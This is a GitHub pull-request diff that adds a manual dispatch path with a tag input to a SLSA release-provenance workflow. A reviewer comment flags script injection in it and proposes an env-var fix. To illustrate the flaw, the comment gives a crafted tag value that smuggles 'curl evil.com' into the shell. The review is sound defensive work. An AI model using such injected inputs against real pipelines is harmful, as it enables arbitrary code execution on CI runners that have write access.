Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 22 additions & 1 deletion .github/workflows/release-provenance.yml
Original file line number Diff line number Diff line change
@@ -1,8 +1,22 @@
name: Release provenance (SLSA)

# Attaches npm-pack tarballs + a signed SLSA provenance (*.intoto.jsonl) to a
# GitHub Release so OSSF Scorecard's Signed-Releases check can verify them.
# Runs automatically on a published release, and can be dispatched manually
# against an existing tag. `upload-tag-name` lets the dispatch path upload to
# the right release even though github.ref is a branch, not the tag — which
# also sidesteps the "release events run the workflow from the tag commit"
# trap (a fix on main can be exercised by dispatching it against an old tag).

on:
release:
types: [published]
workflow_dispatch:
inputs:
tag:
description: "Existing release tag to attest (e.g. v0.0.50)"
required: true
type: string

permissions:
contents: read
Expand All @@ -17,10 +31,16 @@ jobs:
contents: write # gh release upload attaches tarballs to the release
outputs:
hashes: ${{ steps.hash.outputs.hashes }}
tag: ${{ steps.tag.outputs.tag }}
env:
NPM_PUBLISHABLE_PROJECTS: chat,langgraph,ag-ui,render,a2ui,licensing,telemetry
steps:
- name: Resolve target tag
id: tag
run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Script injection vulnerability. inputs.tag is user-controlled and is interpolated directly into the shell command via ${{ }}. Anyone with write access who dispatches this workflow with a crafted tag value (e.g. v0.0.50$(curl evil.com)) can execute arbitrary shell commands in the runner — especially problematic given the contents: write permission that follows.

The SLSA hardening guides specifically call this pattern out. Fix by binding user input to an env var and reading it from there:

Suggested change
run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT"
env:
RELEASE_TAG: ${{ github.event.release.tag_name }}
INPUT_TAG: ${{ inputs.tag }}
run: echo "tag=${RELEASE_TAG:-$INPUT_TAG}" >> "$GITHUB_OUTPUT"

Same issue applies to line 67 where steps.tag.outputs.tag is interpolated into gh release upload "..." — since that output was set from the tainted input, prefer passing it via env var there too:

        env:
          GH_TOKEN: ${{ github.token }}
          TARGET_TAG: ${{ steps.tag.outputs.tag }}
        run: gh release upload "$TARGET_TAG" --clobber -- release-artifacts/*.tgz

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ steps.tag.outputs.tag }}
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: 24
Expand All @@ -44,7 +64,7 @@ jobs:
- name: Upload tarballs to the release
env:
GH_TOKEN: ${{ github.token }}
run: gh release upload "${{ github.event.release.tag_name }}" --clobber -- release-artifacts/*.tgz
run: gh release upload "${{ steps.tag.outputs.tag }}" --clobber -- release-artifacts/*.tgz

provenance:
needs: [build-artifacts]
Expand All @@ -56,3 +76,4 @@ jobs:
with:
base64-subjects: ${{ needs.build-artifacts.outputs.hashes }}
upload-assets: true
upload-tag-name: ${{ needs.build-artifacts.outputs.tag }}
Loading